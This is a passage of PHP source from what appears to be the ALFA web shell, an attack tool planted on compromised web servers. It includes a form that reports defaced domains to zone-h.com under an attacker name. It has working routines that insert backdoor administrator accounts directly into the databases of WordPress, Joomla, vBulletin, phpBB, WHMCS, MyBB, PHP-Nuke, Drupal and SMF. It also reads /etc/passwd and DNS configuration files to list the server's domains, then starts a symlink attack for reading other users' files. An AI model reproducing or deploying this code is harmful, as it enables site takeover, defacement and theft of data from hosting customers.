<select id="text" name="hackmode" style="width:400px;">';
$x=1;
foreach($hackmode as $mode){echo('<option style="background-color: rgb(F, F, F);" value="'.$x.'">'.$mode.'</option>');$x++;}
echo '</select><br><select id="text" name="reason" style="width:200px;">';
$x=1;
foreach($reason as $mode){echo('<option style="background-color: rgb(F, F, F);" value="'.$x.'">'.$mode.'</option>');$x++;}
echo '</select><br>
<textarea name="domain" cols="90" rows="20" placeholder="Domains..."></textarea><br>
<p><input type="submit" value=" " name="go" /></p>
</form></center>';
if($_POST['alfa5'] && $_POST['alfa5'] == '>>'){
ob_start();
$hacker = $_POST['alfa1'];
$method = $_POST['alfa2'];
$neden = $_POST['alfa3'];
$site = $_POST['alfa4'];
if(empty($hacker)){
die (__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");
}elseif($method == "------------------------------------SELECT-------------------------------------"){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");
}elseif($neden == "------------------------------------SELECT-------------------------------------"){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");
}elseif(empty($site)){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");
}
$i = 0;
$sites = explode("\n", $site);
$alfa = new AlfaCURL();
while($i < count($sites)){
if(substr($sites[$i], 0, 4) != "http"){
$sites[$i] = "http://".$sites[$i];
}
$alfa->Send("http://www.zone-h.com/notify/single","post","defacer=".$hacker."&domain1=". $sites[$i]."&hackmode=".$method."&reason=".$neden);
++$i;
}
echo __pre()."<center><font color =\"#00A220\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";
}
echo "</div>";
alfafooter();
}
function alfapwchanger(){
alfahead();

echo '<div class=header><center><br><div class="txtfont_header">| Add New Admin |</div>
<center><h3>';
$vals = array('WordPress' => array('wp',2),'Joomla' => array('joomla',3),'vBulletin' => array('vb',5),'phpBB' => array('phpbb',6),'WHMCS' => array('whmcs',7),'MyBB' => array('mybb',8),'Php Nuke' => array('nuke',9),'Drupal' => array('drupal',10),'SMF' => array('smf',11));
Alfa_Create_A_Tag('pwchanger',$vals);
echo '</h3></center>';
if(isset($_POST['alfa1'])&&$_POST['alfa1']=='wp'){

echo __pre().'<center><center><div class="txtfont_header">| WordPress |</div>
<p>'.getConfigHtml('wp').'</p><form onSubmit="g(\'pwchanger\',null,\'wp\',\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host','id'=>'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'wp_', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'kh', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form>';
if ($_POST['alfa2'] && $_POST['alfa2'] == '>>'){
$localhost = $_POST['alfa3'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,'$admin','d4a590caacc0be55ef286e40a945ea45','$SQL')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select ID from ".$prefix."users where user_login='".$admin."'") or die(mysqli_error($conn));
$sole = @mysqli_num_rows($solevisible);
if ($sole == 1){
$solevis = @mysqli_fetch_assoc($solevisible);
$res = $solevis['ID'];
}
$solevisible=@mysqli_query($conn,"insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','first_name','solevisible'),(null,'".$res."','last_name','solevisible'),(null,'".$res."','nickname','solevisible'),(null,'".$res."','description','solevisible'),(null,'".$res."','rich_editing','true'),(null,'".$res."','comment_shortcuts','false'),(null,'".$res."','admin_color','fresh'),(null,'".$res."','use_ssl','0'),(null,'".$res."','show_admin_bar_front','true'),(null,'".$res."','".$prefix."capabilities','a:1:{s:13:\"administrator\";b:1;}'),(null,'".$res."','".$prefix."user_level','10'),(null,'".$res."','show_welcome_panel','1'),(null,'".$res."','".$prefix."dashboard_quick_press_last_post_id','3')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if($_POST['alfa2'] && $_POST['alfa2'] == 'joomla'){

echo __pre().'<center><center><div class="txtfont_header">| Joomla |</div><p><p>'.getConfigHtml('joomla').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',\'joomla\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'jos_', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa3'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (id,name,username,email,password) values(null,'Super User','".$admin."','".$SQL."','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select id from ".$prefix."users where username='".$admin."'") or die(mysqli_error($conn));
$sole =@mysqli_num_rows($solevisible);
if ($sole == 1){
$solevis =@mysqli_fetch_assoc($solevisible);
$res = $solevis['id'];
}
$solevisible=@mysqli_query($conn,"INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES ('".$res."', '8')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if($_POST['alfa4'] && $_POST['alfa4'] == 'vb'){

echo __pre().'<center><center><div class="txtfont_header">| vBulletin |<div><p>'.getConfigHtml('vb').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,\'vb\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$prefix = $_POST['alfa7'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_connect_error());
$pw_col = @mysqli_connect("SELECT column_name FROM information_schema.columns where table_name = '{$prefix}user' and column_name = 'password' and table_schema = '{$database}'");
$pw_col = @mysqli_num_rows($pw_col);
$adm_perm = "16744444";
if($pw_col > 0){
$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,'6','$admin','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*<QN','$SQL','".date('Y-m-d')."','".time()."')") or die(mysqli_error($conn));
}else{
$adm_perm = "2143256444";
$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,token,secret,email,passworddate,joindate,scheme,birthday_search) values(null,'6','$admin','\$2y\$10\$YsVhV.9tLnzBYxar1BJAGO3vFz68/qDU7Jt62SDdLy6lUT9N5Z/wq','Qf~ADeA}iAey-&#ALQF<}/uBDqSnw>','$SQL','".date('Y-m-d')."','".time()."','blowfish:10','1984-05-20')") or die(mysqli_error($conn));
}
$solevisible=@mysqli_query($conn,"select userid from {$prefix}user where username='".$admin."'") or die(mysqli_error($conn));
$sole = mysqli_num_rows($solevisible);
if($sole == 1){
$solevis = mysqli_fetch_assoc($solevisible);
$res = $solevis['userid'];
}
$solevisible=@mysqli_query($conn,"insert into {$prefix}administrator (userid,adminpermissions) values('".$res."','".$adm_perm."')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa5']) && $_POST['alfa5'] == 'phpbb'){

echo __pre().'<center><div class="txtfont_header">| phpBB |</div><p><p>'.getConfigHtml('phpbb').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,\'phpbb\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$hash = md5('solevisible');
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE user_type = 3") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE user_type = 3") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_email ='".$SQL."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');
}
}
}
if(isset($_POST['alfa6']) && $_POST['alfa6'] == 'whmcs'){

echo __pre().'<center><div class="txtfont_header">| Whmcs |</div><p><p>'.getConfigHtml('whmcs').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,\'whmcs\',null,this.admin.value,this.email.value); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','".$admin."','d4a590caacc0be55ef286e40a945ea45','".$SQL."','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa7']) && $_POST['alfa7'] == 'mybb'){

echo __pre().'<center><div class="txtfont_header">| Mybb |</div><p><p>'.getConfigHtml('mybb').'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\'mybb\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,'".$admin."','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','".$SQL."','4')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa8']) && $_POST['alfa8'] == 'nuke'){

echo __pre().'<center><div class="txtfont_header">| PhpNuke |</div><p><p>'.getConfigHtml('phpnuke').'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'nuke\',this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa7'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$hash = md5($pwd);
$solevisible=@mysqli_query($conn,"insert into ".$prefix."_authors(aid,name,email,pwd) values('$admin','God','$SQL','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa9']) && $_POST['alfa9'] == 'drupal'){

echo __pre().'<center><div class="txtfont_header">| Drupal |</div><p><p>'.getConfigHtml('drupal').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'drupal\'); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true)
 );
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$getDescuid = @mysqli_query($conn,"select uid from users order by uid desc limit 0,1");
$getDescuid = @mysqli_fetch_assoc($getDescuid);
$getDescuid = $getDescuid['uid'];
$getdescuid = $getDescuid++;
$solevisible=@mysqli_query($conn,"insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values('$getDescuid','$admin','\$S\$DP2y9AbolCBOd\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC','solevisible@fbi.gov','filtered_html','1','Europe/Berlin','solevisible@fbi.gov')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select uid from users where name='".$admin."'") or die(mysqli_error($conn));
$sole = mysqli_num_rows($solevisible);
if ($sole == 1){
$solevis = mysqli_fetch_assoc($solevisible);
$res = $solevis['uid'];
}
$solevisible=@mysqli_query($conn,"INSERT INTO users_roles (uid,rid) VALUES ('".$res."', '3')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}

if(isset($_POST['alfa10']) && $_POST['alfa10'] == 'smf'){

echo __pre().'<center><center><div class="txtfont_header">| SMF |</div><p><p>'.getConfigHtml('smf').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\'smf\'); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'smf_', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 );
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$prefix = $_POST['alfa7'];
$admin = $_POST['alfa8'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$setpwAlg = sha1(strtolower($admin) . 'solevisible');
$solevisible=@mysqli_query($conn,"insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,'$admin','1','$admin','$setpwAlg','solevisible@fbi.gov')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
echo "</div>";
alfafooter();
}
function alfaMakePwd(){
	if(_alfa_file_exists("/etc/virtual/domainowners")||(_alfa_file_exists("/etc/named.conf")&&_alfa_file_exists("/etc/valiases"))){
		return "/home/{user}/public_html/";
	}
	$document = explode("/", $_SERVER["DOCUMENT_ROOT"]);
	$public = end($document);
	array_pop($document);
	array_pop($document);
	$path = implode("/", $document) . "/{user}/" . $public;
	return $path;
}
function alfaGetDomains($state = false){
	$state = "named.conf";
	$lines = array();
	$lines = _alfa_file('/etc/named.conf');
	if(!$lines){
		$lines = @scandir("/etc/valiases/");
		$state = "valiases";
		if(!$lines){
			$lines = @scandir("/var/named");
			$state = "named";
			if(!$lines && $state){
				$lines = _alfa_file('/etc/passwd');
				$state = "passwd";
			}
		}
	}
	return array("lines" => $lines, "state" => $state);
}
function alfaCreateParentFolder(){
	$parent = $GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__;
	if(!@is_dir($parent)){
		@mkdir($parent, 0755, true);
	}
}
function alfasymlink(){
alfahead();
AlfaNum(9,10);
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
echo '<div class=header><br><center><div class="txtfont_header">| Symlink |</div><center><h3><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symphp\')">| Symlink( php ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symperl\')">| Symlink( perl ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'sympy\')">| Symlink( python ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,null,null,\'SymFile\')">| File Symlink | </a></h3></center>';
if(isset($_POST['alfa2'])&&($_POST['alfa2']=='symperl'||$_POST["alfa2"]=="sympy")){
	$sympath = alfaMakePwd();
	@mkdir('cgialfa',0755);
	@chdir('cgialfa');
	alfacgihtaccess('cgi');
